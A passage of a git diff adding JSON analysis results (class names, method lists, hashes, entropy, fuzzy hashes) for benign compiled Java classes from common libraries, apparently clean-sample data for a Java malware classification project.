"org/apache/hadoop/mapred/ReduceTask$4", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": [""], "minor_version": 0, "const_pool_count": 54}}, "_id": "eb8eed16-ceba-4e32-8ce2-4a0bed806ab2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "14ba4bac6a6651b3dd199685196b330ecf062841", "file_name": "java_clean/7e8b37fea695f787903f897518ec88c4dd30b3483bb2c4ef4cf1e08a73fe0a15", "_id": "eb8eed16-ceba-4e32-8ce2-4a0bed806ab2", "score": 0, "entropy": 5.462431956246993, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1058, "ssdeep": "24:ZGlgRNQuljQBc+pV+urPrurbTkFlcNPFLJAHZM:TNFl6c+pV+urPrurbwFlt5M", "sha256": "7e8b37fea695f787903f897518ec88c4dd30b3483bb2c4ef4cf1e08a73fe0a15", "md5": "f722dff049a1dad216625dd76ac7aec3", "parent_sha256": "7e8b37fea695f787903f897518ec88c4dd30b3483bb2c4ef4cf1e08a73fe0a15"}} \ No newline at end of file diff --git a/java_classification/data/clean/7eaccd62b02a69187a58f1a08433d0fea2b7c4fdd48863adccc70bcceb9eb931.results b/java_classification/data/clean/7eaccd62b02a69187a58f1a08433d0fea2b7c4fdd48863adccc70bcceb9eb931.results new file mode 100755 index 0000000..c48615b --- /dev/null +++ b/java_classification/data/clean/7eaccd62b02a69187a58f1a08433d0fea2b7c4fdd48863adccc70bcceb9eb931.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Maps.java", "class_name": "com/google/common/collect/Maps$UnmodifiableEntries", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "delegate", "iterator", "add", "addAll", "clear", "remove", "removeAll", "retainAll", "toArray", "toArray", "add", "delegate"], "minor_version": 0, "const_pool_count": 93}}, "_id": "d7443ccb-efd9-49c2-9134-27b853e61eff", "verbose": {"java": {"signatures": ["Ljava/util/Collection;>;", "(Ljava/util/Collection;>;)V", "()Ljava/util/Collection;>;", "()Ljava/util/Iterator;>;", "(Ljava/util/Map$Entry;)Z", "(Ljava/util/Collection<+Ljava/util/Map$Entry;>;)Z", "(Ljava/util/Collection<*>;)Z", "(Ljava/util/Collection<*>;)Z", "([TT;)[TT;", "Lcom/google/common/collect/ForwardingCollection;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7790e8da03907bb68de108b6bae5afc25bf1b12b", "file_name": "java_clean/7eaccd62b02a69187a58f1a08433d0fea2b7c4fdd48863adccc70bcceb9eb931", "_id": "d7443ccb-efd9-49c2-9134-27b853e61eff", "score": 0, "entropy": 5.098600659545479, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3356, "ssdeep": "48:kz2flxMDgtTIn8QyGJX5Nbzp8dUPULVIOlyIWrp8dAQEkD6p8d7j:kilxsgqh/BuuUZHlyI0uMud", "sha256": "7eaccd62b02a69187a58f1a08433d0fea2b7c4fdd48863adccc70bcceb9eb931", "md5": "745c53c8d19337863f92902a3c578924", "parent_sha256": "7eaccd62b02a69187a58f1a08433d0fea2b7c4fdd48863adccc70bcceb9eb931"}} \ No newline at end of file diff --git a/java_classification/data/clean/7f0db4d7b668c669999cd8169e163836a3a2e7342b9ad339defd2c98764e2774.results b/java_classification/data/clean/7f0db4d7b668c669999cd8169e163836a3a2e7342b9ad339defd2c98764e2774.results new file mode 100755 index 0000000..b920f93 --- /dev/null +++ b/java_classification/data/clean/7f0db4d7b668c669999cd8169e163836a3a2e7342b9ad339defd2c98764e2774.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "RecordInput.java", "class_name": "org/apache/hadoop/record/RecordInput", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["readByte", "readBool", "readInt", "readLong", "readFloat", "readDouble", "readString", "readBuffer", "startRecord", "endRecord", "startVector", "endVector", "startMap", "endMap"], "minor_version": 0, "const_pool_count": 34}}, "_id": "d3238665-77ca-4d81-b29e-99735116d83b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "1689ad039b325cb813ce553f7bd7362a63b1fee0", "file_name": "java_clean/7f0db4d7b668c669999cd8169e163836a3a2e7342b9ad339defd2c98764e2774", "_id": "d3238665-77ca-4d81-b29e-99735116d83b", "score": 0, "entropy": 4.914740163806997, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 904, "ssdeep": "12:1MQ7sMNsXMkMXMZMF1MT4MBMOf/OMpLb1MxhBuKMpLsOc8Z6LimRtEE3vPPvQClL:zjsVMzUV0hePojHEs39vZ", "sha256": "7f0db4d7b668c669999cd8169e163836a3a2e7342b9ad339defd2c98764e2774", "md5": "7aa9a226bc754297b1797fe6525c2c85", "parent_sha256": "7f0db4d7b668c669999cd8169e163836a3a2e7342b9ad339defd2c98764e2774"}} \ No newline at end of file diff --git a/java_classification/data/clean/7fcdf3c241ff225c6853f3a22c0e7a09c469014b897dbbb74cbd134e70690685.results b/java_classification/data/clean/7fcdf3c241ff225c6853f3a22c0e7a09c469014b897dbbb74cbd134e70690685.results new file mode 100755 index 0000000..c09b6a3 --- /dev/null +++ b/java_classification/data/clean/7fcdf3c241ff225c6853f3a22c0e7a09c469014b897dbbb74cbd134e70690685.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SequenceFileInputFilter.java", "class_name": "org/apache/hadoop/mapred/SequenceFileInputFilter$PercentFilter", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["setFrequency", "", "setConf", "accept"], "minor_version": 0, "const_pool_count": 78}}, "_id": "f01b6f88-9fc5-43c7-be61-1bb9c4ed0f36", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}}}, "constant strings": ["Negative sequencefile.filter.frequency: ", "sequencefile.filter.frequency"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9d70d31ec1ad23ce58256ea141e48c6fd2a0dbb6", "file_name": "java_clean/7fcdf3c241ff225c6853f3a22c0e7a09c469014b897dbbb74cbd134e70690685", "_id": "f01b6f88-9fc5-43c7-be61-1bb9c4ed0f36", "score": 0, "entropy": 5.44154538338339, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1738, "ssdeep": "48:ouuwVlPw2JVh0wBH/HTaIz0awuhJhDwkMhNGvkolM5S1Y8S:ouuwVlPwYVh0w5zaIQawuhJhDwkMhNG2", "sha256": "7fcdf3c241ff225c6853f3a22c0e7a09c469014b897dbbb74cbd134e70690685", "md5": "17db6066b73107f07bc67cc5d88f6063", "parent_sha256": "7fcdf3c241ff225c6853f3a22c0e7a09c469014b897dbbb74cbd134e70690685"}} \ No newline at end of file diff --git a/java_classification/data/clean/803e62854962f5a30d40128bcf425a6a7ca1f3c2db6c4682b38b3e43e0a452d1.results b/java_classification/data/clean/803e62854962f5a30d40128bcf425a6a7ca1f3c2db6c4682b38b3e43e0a452d1.results new file mode 100755 index 0000000..3a2a4bf --- /dev/null +++ b/java_classification/data/clean/803e62854962f5a30d40128bcf425a6a7ca1f3c2db6c4682b38b3e43e0a452d1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Opcode.java", "class_name": "javassist/bytecode/Opcode", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 48, "method_names": [""], "minor_version": 0, "const_pool_count": 427}}, "_id": "e0cb97e2-3828-403f-90f3-fd324945dd40", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f5eea55bdb32a8d56a45665adbad83218ddc5012", "file_name": "java_clean/803e62854962f5a30d40128bcf425a6a7ca1f3c2db6c4682b38b3e43e0a452d1", "_id": "e0cb97e2-3828-403f-90f3-fd324945dd40", "score": 0, "entropy": 4.696797491088877, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7663, "ssdeep": "96:aXH+dCdLbc2E7bpFu/qfTqcDqNkkKPs0FlrinkCkinkCkiNnpUczVygCLppx:6H+0K2EvSyqOqNkkSlrikink0bsgWx", "sha256": "803e62854962f5a30d40128bcf425a6a7ca1f3c2db6c4682b38b3e43e0a452d1", "md5": "6b8ec67ad5f9ccf20ba973e34c9fbe20", "parent_sha256": "803e62854962f5a30d40128bcf425a6a7ca1f3c2db6c4682b38b3e43e0a452d1"}} \ No newline at end of file diff --git a/java_classification/data/clean/80cbe213feb555cd8065caf87ed9eece15060b00fd9e3a6a1d9c5e406ccc628a.results b/java_classification/data/clean/80cbe213feb555cd8065caf87ed9eece15060b00fd9e3a6a1d9c5e406ccc628a.results new file mode 100755 index 0000000..8d25bf9 --- /dev/null +++ b/java_classification/data/clean/80cbe213feb555cd8065caf87ed9eece15060b00fd9e3a6a1d9c5e406ccc628a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FilesetDataFunction.java", "class_name": "com/codeminders/hamake/data/FilesetDataFunction$Variant", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 50, "method_names": ["values", "valueOf", "", "parseString", ""], "minor_version": 0, "const_pool_count": 69}}, "_id": "2417e48d-019e-4930-8fe4-a2186bc5276b", "verbose": {"java": {"signatures": ["()V", "Ljava/lang/Enum;"], "constant strings": ["mask", "LIST", "MASK"], "JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "MASK"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c16d8e9ed03555f76a244923a5d5d3cca1c7ca66", "file_name": "java_clean/80cbe213feb555cd8065caf87ed9eece15060b00fd9e3a6a1d9c5e406ccc628a", "_id": "2417e48d-019e-4930-8fe4-a2186bc5276b", "score": 0, "entropy": 5.314934199042268, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1545, "ssdeep": "24:BEFqZZuWZuswZuJulebZuJpCBWllPAZZeNZyrIZqcTOE3msTeTrZLDDL1dy+Kul9:+qIlec0BWzPVSszWsQrZP3LV9", "sha256": "80cbe213feb555cd8065caf87ed9eece15060b00fd9e3a6a1d9c5e406ccc628a", "md5": "6bcf521560215f7d5fe18a4da1ede96d", "parent_sha256": "80cbe213feb555cd8065caf87ed9eece15060b00fd9e3a6a1d9c5e406ccc628a"}} \ No newline at end of file diff --git a/java_classification/data/clean/81c1c313e03aa5239439b9275253d1aadc615a4af23208bc07eed62bd3f80472.results b/java_classification/data/clean/81c1c313e03aa5239439b9275253d1aadc615a4af23208bc07eed62bd3f80472.results new file mode 100755 index 0000000..23ca176 --- /dev/null +++ b/java_classification/data/clean/81c1c313e03aa5239439b9275253d1aadc615a4af23208bc07eed62bd3f80472.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LocalCache.java", "class_name": "com/google/common/cache/LocalCache$Values", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "iterator", "size", "isEmpty", "contains", "clear"], "minor_version": 0, "const_pool_count": 55}}, "_id": "483346de-39d0-4338-9442-cb7e25076660", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;", "Ljava/util/AbstractCollection;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "af3dbe8a88c1fa4b52de25ee466f9f440ad7d0e6", "file_name": "java_clean/81c1c313e03aa5239439b9275253d1aadc615a4af23208bc07eed62bd3f80472", "_id": "483346de-39d0-4338-9442-cb7e25076660", "score": 0, "entropy": 4.911468324413972, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1421, "ssdeep": "24:8yuGdXWulj67x0lawT08di8D7zCJMs+Xbm1CejsCTBwqHhu+p8+YyA:8hGdXblG7aUObOJMVakejNC+p8+YyA", "sha256": "81c1c313e03aa5239439b9275253d1aadc615a4af23208bc07eed62bd3f80472", "md5": "6cc03500fbecf7f8f44001a062951491", "parent_sha256": "81c1c313e03aa5239439b9275253d1aadc615a4af23208bc07eed62bd3f80472"}} \ No newline at end of file diff --git a/java_classification/data/clean/81c7079fc73a66fd5d6ea33b5cdf55ec947df7a3e034ddfd7f95981128596451.results b/java_classification/data/clean/81c7079fc73a66fd5d6ea33b5cdf55ec947df7a3e034ddfd7f95981128596451.results new file mode 100755 index 0000000..8014a34 --- /dev/null +++ b/java_classification/data/clean/81c7079fc73a66fd5d6ea33b5cdf55ec947df7a3e034ddfd7f95981128596451.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "WritableUtils.java", "class_name": "org/apache/hadoop/io/WritableUtils$1", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "initialValue"], "minor_version": 0, "const_pool_count": 29}}, "_id": "57ef6945-5feb-444b-a01e-65a201847d68", "metadata": {"mimetype": "application/x-java-applet", "sha1": "406f5bdf845cc19fd5b1b1b92c3f16d7a6ddd6f3", "file_name": "java_clean/81c7079fc73a66fd5d6ea33b5cdf55ec947df7a3e034ddfd7f95981128596451", "_id": "57ef6945-5feb-444b-a01e-65a201847d68", "score": 0, "entropy": 5.086372866090256, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 664, "ssdeep": "12:rm15i4SDQulPsoxhjeSByiUhemzdK2SRK2Sp6e2c9e5ISszGD5:rm3yQuljHeW2emk2H2/e59e5/", "sha256": "81c7079fc73a66fd5d6ea33b5cdf55ec947df7a3e034ddfd7f95981128596451", "md5": "4b88afb239e3874fd80518743453b43b", "parent_sha256": "81c7079fc73a66fd5d6ea33b5cdf55ec947df7a3e034ddfd7f95981128596451"}} \ No newline at end of file diff --git a/java_classification/data/clean/81cb9face22ef3bbbcadd104d2ea7212a9edc444ec297a07d30513baf1710ff4.results b/java_classification/data/clean/81cb9face22ef3bbbcadd104d2ea7212a9edc444ec297a07d30513baf1710ff4.results new file mode 100755 index 0000000..d2fb021 --- /dev/null +++ b/java_classification/data/clean/81cb9face22ef3bbbcadd104d2ea7212a9edc444ec297a07d30513baf1710ff4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "PatternParser.java", "class_name": "org/apache/log4j/helpers/PatternParser$NamedPatternConverter", "access_permissions": ["ACC_SUPER", "ACC_ABSTRACT"], "major_version": 45, "method_names": ["", "getFullyQualifiedName", "convert"], "minor_version": 3, "const_pool_count": 53}}, "_id": "f2d60018-17ed-4823-9f4d-f768ab86e1de", "metadata": {"mimetype": "application/x-java-applet", "sha1": "092bbdad2b9cfde9cdc8997ab5f1e28ea4e124b0", "file_name": "java_clean/81cb9face22ef3bbbcadd104d2ea7212a9edc444ec297a07d30513baf1710ff4", "_id": "f2d60018-17ed-4823-9f4d-f768ab86e1de", "score": 0, "entropy": 5.3927132706253795, "libmagic": "compiled Java class data, version 45.3", "file_size": 1241, "ssdeep": "24:cxJdAkKD5uljtK67D4KsqvNnvn0KWm2h2e3+s8:+W78lg67bjvJvBW3+s8", "sha256": "81cb9face22ef3bbbcadd104d2ea7212a9edc444ec297a07d30513baf1710ff4", "md5": "e9ad7780134b5aa1927bbedcd97237a5", "parent_sha256": "81cb9face22ef3bbbcadd104d2ea7212a9edc444ec297a07d30513baf1710ff4"}} \ No newline at end of file diff --git a/java_classification/data/clean/822d3132cd028245d7e6e87e316a299774237a9a516f95397567e8f581e59635.results b/java_classification/data/clean/822d3132cd028245d7e6e87e316a299774237a9a516f95397567e8f581e59635.results new file mode 100755 index 0000000..9695b87 --- /dev/null +++ b/java_classification/data/clean/822d3132cd028245d7e6e87e316a299774237a9a516f95397567e8f581e59635.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JspEngineInfo.java", "class_name": "javax/servlet/jsp/JspEngineInfo", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["", "getSpecificationVersion"], "minor_version": 0, "const_pool_count": 18}}, "_id": "aac54e3e-b842-4761-95e1-7904c4114fdd", "metadata": {"mimetype": "application/x-java-applet", "sha1": "91e1263de150c28b5f382d635c6a32c4a9cfcdb3", "file_name": "java_clean/822d3132cd028245d7e6e87e316a299774237a9a516f95397567e8f581e59635", "_id": "aac54e3e-b842-4761-95e1-7904c4114fdd", "score": 0, "entropy": 5.029577632388285, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 361, "ssdeep": "6:Iqp3szswQpAEgPsoq5B6gLzEMcik2XMOVfiK5fYB6gLz9iRPK80lzlHb78A/9Kh6:IqxSDQulPsoIfEDiTMOtTEf9iRC8wtbz", "sha256": "822d3132cd028245d7e6e87e316a299774237a9a516f95397567e8f581e59635", "md5": "08d9f3ad446a32a3ed224eb769901eb5", "parent_sha256": "822d3132cd028245d7e6e87e316a299774237a9a516f95397567e8f581e59635"}} \ No newline at end of file diff --git a/java_classification/data/clean/823911dfdef7f3a28e007c882005ec5818903c8f2c264c2447e5ced3284a445e.results b/java_classification/data/clean/823911dfdef7f3a28e007c882005ec5818903c8f2c264c2447e5ced3284a445e.results new file mode 100755 index 0000000..e34c39d --- /dev/null +++ b/java_classification/data/clean/823911dfdef7f3a28e007c882005ec5818903c8f2c264c2447e5ced3284a445e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/configuration/ConfigurationMap$ConfigurationSet$Entry", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Map$Entry"], "sourcefile": "ConfigurationMap.java", "method_names": ["", "getKey", "getValue", "setValue", ""], "minor_version": 3, "const_pool_count": 72}}, "_id": "d55a091c-d5a4-484d-ac26-43949e84b69d", "metadata": {"mimetype": "application/x-java-applet", "sha1": "dd38c3b36b45b97243d5bb11d431ee5b20f5c6a0", "file_name": "java_clean/823911dfdef7f3a28e007c882005ec5818903c8f2c264c2447e5ced3284a445e", "_id": "d55a091c-d5a4-484d-ac26-43949e84b69d", "score": 0, "entropy": 5.222785647993646, "libmagic": "compiled Java class data, version 45.3", "file_size": 2041, "ssdeep": "48:WQq+PlIebF6oX8icN5olxzLBpfhQHxuKPi:1jlpTLcNCxBphCur", "sha256": "823911dfdef7f3a28e007c882005ec5818903c8f2c264c2447e5ced3284a445e", "md5": "23a8276a33df0e13e0156311c66af050", "parent_sha256": "823911dfdef7f3a28e007c882005ec5818903c8f2c264c2447e5ced3284a445e"}} \ No newline at end of file diff --git a/java_classification/data/clean/8318eda9b6c8478d9c599a3cd7f5201716e59bb43ccc6ad93db22bdf289d9499.results b/java_classification/data/clean/8318eda9b6c8478d9c599a3cd7f5201716e59bb43ccc6ad93db22bdf289d9499.results new file mode 100755 index 0000000..455dbfa --- /dev/null +++ b/java_classification/data/clean/8318eda9b6c8478d9c599a3cd7f5201716e59bb43ccc6ad93db22bdf289d9499.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "javassist/expr/FieldAccess$ProceedForRead", "access_permissions": ["ACC_SUPER"], "interfaces": ["javassist/compiler/ProceedHandler"], "sourcefile": "FieldAccess.java", "method_names": ["", "doit", "setReturnType"], "minor_version": 0, "const_pool_count": 100}}, "_id": "49bccc37-d415-4371-baee-273bc7e58557", "verbose": {"java": {"constant strings": ["$proceed() cannot take a parameter for field reading"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9da5dee737c51cb46bfcf5f9a714853e143fdfb2", "file_name": "java_clean/8318eda9b6c8478d9c599a3cd7f5201716e59bb43ccc6ad93db22bdf289d9499", "_id": "49bccc37-d415-4371-baee-273bc7e58557", "score": 0, "entropy": 5.440752308590966, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2003, "ssdeep": "48:EHvFs4olaVYAks/0l1GiQ/losDHgaVARSAS:EHulTYd/lo2AGESAS", "sha256": "8318eda9b6c8478d9c599a3cd7f5201716e59bb43ccc6ad93db22bdf289d9499", "md5": "ca88e770dd0aee6719c463905fbb57f6", "parent_sha256": "8318eda9b6c8478d9c599a3cd7f5201716e59bb43ccc6ad93db22bdf289d9499"}} \ No newline at end of file diff --git a/java_classification/data/clean/83b0417c07cf5fd3447c5781fe246a028c23cea0515b0336de37253ea6eba8be.results b/java_classification/data/clean/83b0417c07cf5fd3447c5781fe246a028c23cea0515b0336de37253ea6eba8be.results new file mode 100755 index 0000000..927d7ad --- /dev/null +++ b/java_classification/data/clean/83b0417c07cf5fd3447c5781fe246a028c23cea0515b0336de37253ea6eba8be.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LinkedListMultimap.java", "class_name": "com/google/common/collect/LinkedListMultimap$MultisetView$2", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "size", "iterator"], "minor_version": 0, "const_pool_count": 77}}, "_id": "28d27edc-4495-4235-b63f-6295824e0189", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;>;", "Ljava/util/AbstractSet;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "14005b376ebd8632112d1682a8a5e6d29f1f7444", "file_name": "java_clean/83b0417c07cf5fd3447c5781fe246a028c23cea0515b0336de37253ea6eba8be", "_id": "28d27edc-4495-4235-b63f-6295824e0189", "score": 0, "entropy": 5.203456588083999, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2150, "ssdeep": "24:77rNO3quljPnr08P0O8N8MW+X84wsR6VgtKpCuqjNBXrdKhn8S2ajGh8/Kf2SzLG:zNa/lLKbOgzuqjZNS5jGnhL9X1F3FK", "sha256": "83b0417c07cf5fd3447c5781fe246a028c23cea0515b0336de37253ea6eba8be", "md5": "960a16ce78be1d2b939fa1fed7fd4141", "parent_sha256": "83b0417c07cf5fd3447c5781fe246a028c23cea0515b0336de37253ea6eba8be"}} \ No newline at end of file diff --git a/java_classification/data/clean/83bd0c4c11a100eb0b06076fb473e4b09b2657e9c647cdaad67d18b27a59c129.results b/java_classification/data/clean/83bd0c4c11a100eb0b06076fb473e4b09b2657e9c647cdaad67d18b27a59c129.results new file mode 100755 index 0000000..3ef104b --- /dev/null +++ b/java_classification/data/clean/83bd0c4c11a100eb0b06076fb473e4b09b2657e9c647cdaad67d18b27a59c129.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/dom4j/io/SAXEventRecorder$SAXEvent", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/io/Externalizable"], "sourcefile": "SAXEventRecorder.java", "method_names": ["", "", "addParm", "getParm", "writeExternal", "readExternal"], "minor_version": 0, "const_pool_count": 131}}, "_id": "137cad33-6f97-42ce-8f6a-7e96110d8182", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ea0b96c5e9003230d33a4e28f88959ca231d4318", "file_name": "java_clean/83bd0c4c11a100eb0b06076fb473e4b09b2657e9c647cdaad67d18b27a59c129", "_id": "137cad33-6f97-42ce-8f6a-7e96110d8182", "score": 0, "entropy": 5.261624512273792, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 2487, "ssdeep": "48:C99YfOoFEFnw9k4myFlDPdDSsU9SJZZQWevTlAEpppppAlC64pppTlAEpppemPPZ:GwOcpFlDPEgJZzebKOPf39AYwX0VM0R", "sha256": "83bd0c4c11a100eb0b06076fb473e4b09b2657e9c647cdaad67d18b27a59c129", "md5": "83b80e261300e06e19762570d22a4879", "parent_sha256": "83bd0c4c11a100eb0b06076fb473e4b09b2657e9c647cdaad67d18b27a59c129"}} \ No newline at end of file diff --git a/java_classification/data/clean/83c0c15cf8efbc8de082206651650c36cd8dfae172c7b156712ead9121735bbc.results b/java_classification/data/clean/83c0c15cf8efbc8de082206651650c36cd8dfae172c7b156712ead9121735bbc.results new file mode 100755 index 0000000..8522157 --- /dev/null +++ b/java_classification/data/clean/83c0c15cf8efbc8de082206651650c36cd8dfae172c7b156712ead9121735bbc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/mechanics/StaticDefensePlanner$2", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Pred0"], "sourcefile": "StaticDefensePlanner.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 53}}, "_id": "a5666bf8-c7e3-47ce-a83e-a4bcdd8115fa", "verbose": {"java": {"constant strings": ["Shield"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6bcf418c547e4e158bbf7f2d857f53254d7a873d", "file_name": "java_clean/83c0c15cf8efbc8de082206651650c36cd8dfae172c7b156712ead9121735bbc", "_id": "a5666bf8-c7e3-47ce-a83e-a4bcdd8115fa", "score": 0, "entropy": 5.2946451200099816, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1134, "ssdeep": "12:5PkRNyMGs5pO2ClPsocOL3TKf0LnvxQxM4Lq26kejCyiUogzuVuk2T42awHKWO27:WfrB6ljQfE5Qxq26N2Hga2agKe", "sha256": "83c0c15cf8efbc8de082206651650c36cd8dfae172c7b156712ead9121735bbc", "md5": "1db5af05cd16422bf9cfedf72aa0bee9", "parent_sha256": "83c0c15cf8efbc8de082206651650c36cd8dfae172c7b156712ead9121735bbc"}} \ No newline at end of file diff --git a/java_classification/data/clean/8471a762e41f210dea9ac1a52fa413adffb2ceabf5dfd0e0e275cbc3e13a95b4.results b/java_classification/data/clean/8471a762e41f210dea9ac1a52fa413adffb2ceabf5dfd0e0e275cbc3e13a95b4.results new file mode 100755 index 0000000..d4bbcc9 --- /dev/null +++ b/java_classification/data/clean/8471a762e41f210dea9ac1a52fa413adffb2ceabf5dfd0e0e275cbc3e13a95b4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/apache/oro/text/regex/CharStringPointer", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "_getValue", "_getValue", "_getValueRelative", "_getLength", "_getOffset", "_setOffset", "_isAtEnd", "_increment", "_increment", "_decrement", "_decrement", "_postIncrement", "_postDecrement", "_toString", "toString"], "minor_version": 0, "const_pool_count": 66}}, "_id": "c9565710-a42a-4812-a9a5-fe22621027be", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d4235c552a22b264477d6f99beb44d3f2b4e914d", "file_name": "java_clean/8471a762e41f210dea9ac1a52fa413adffb2ceabf5dfd0e0e275cbc3e13a95b4", "_id": "c9565710-a42a-4812-a9a5-fe22621027be", "score": 0, "entropy": 4.838164795461855, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1317, "ssdeep": "24:FvmftT3pV1ANdh1OaM5LSqUGf6Nkavpg80BBHjbcku4abg2iD8UbZ:d453niJPM59UGnkpgRBHm4PzD8U", "sha256": "8471a762e41f210dea9ac1a52fa413adffb2ceabf5dfd0e0e275cbc3e13a95b4", "md5": "0853e1b54aa505a3934d7a183b7f3b11", "parent_sha256": "8471a762e41f210dea9ac1a52fa413adffb2ceabf5dfd0e0e275cbc3e13a95b4"}} \ No newline at end of file diff --git a/java_classification/data/clean/8475961c5db99b38f19805bc39fb2c8291125871ac0dad3f1d1a9c19d0749ab9.results b/java_classification/data/clean/8475961c5db99b38f19805bc39fb2c8291125871ac0dad3f1d1a9c19d0749ab9.results new file mode 100755 index 0000000..f2aaabd --- /dev/null +++ b/java_classification/data/clean/8475961c5db99b38f19805bc39fb2c8291125871ac0dad3f1d1a9c19d0749ab9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "PropertiesConfiguration.java", "class_name": "org/apache/commons/configuration/PropertiesConfiguration$PropertiesWriter", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "writeProperty", "writeProperty", "writeComment"], "minor_version": 3, "const_pool_count": 110}}, "_id": "550498ca-462e-4a24-afcd-bcc2a8d21af6", "verbose": {"java": {"constant strings": [" = ", "\\\\", "# ", "\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "aa5e4f07c03a4fc14a9e86af4fa64fd2cda14434", "file_name": "java_clean/8475961c5db99b38f19805bc39fb2c8291125871ac0dad3f1d1a9c19d0749ab9", "_id": "550498ca-462e-4a24-afcd-bcc2a8d21af6", "score": 0, "entropy": 5.41529769086011, "libmagic": "compiled Java class data, version 45.3", "file_size": 2106, "ssdeep": "48:WWvXpsFuvlicE5JcFD8PNvC2Y5JcnpNT18YQk+ic:WIp9vlruN3sYQgc", "sha256": "8475961c5db99b38f19805bc39fb2c8291125871ac0dad3f1d1a9c19d0749ab9", "md5": "ae9603de86fb28eceead71d653835cb1", "parent_sha256": "8475961c5db99b38f19805bc39fb2c8291125871ac0dad3f1d1a9c19d0749ab9"}} \ No newline at end of file diff --git a/java_classification/data/clean/84a98cf33a5af41b40d5aa3611d9e4cb23da52d0267e06fa3d6b7619921ec46d.results b/java_classification/data/clean/84a98cf33a5af41b40d5aa3611d9e4cb23da52d0267e06fa3d6b7619921ec46d.results new file mode 100755 index 0000000..e07ea4b --- /dev/null +++ b/java_classification/data/clean/84a98cf33a5af41b40d5aa3611d9e4cb23da52d0267e06fa3d6b7619921ec46d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/log4j/lf5/LogRecord", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "interfaces": ["java/io/Serializable"], "sourcefile": "LogRecord.java", "method_names": ["", "getLevel", "setLevel", "isSevereLevel", "hasThrown", "isFatal", "getCategory", "setCategory", "getMessage", "setMessage", "getSequenceNumber", "setSequenceNumber", "getMillis", "setMillis", "getThreadDescription", "setThreadDescription", "getThrownStackTrace", "setThrownStackTrace", "getThrown", "setThrown", "toString", "getNDC", "setNDC", "getLocation", "setLocation", "resetSequenceNumber", "getNextId", ""], "minor_version": 3, "const_pool_count": 191}}, 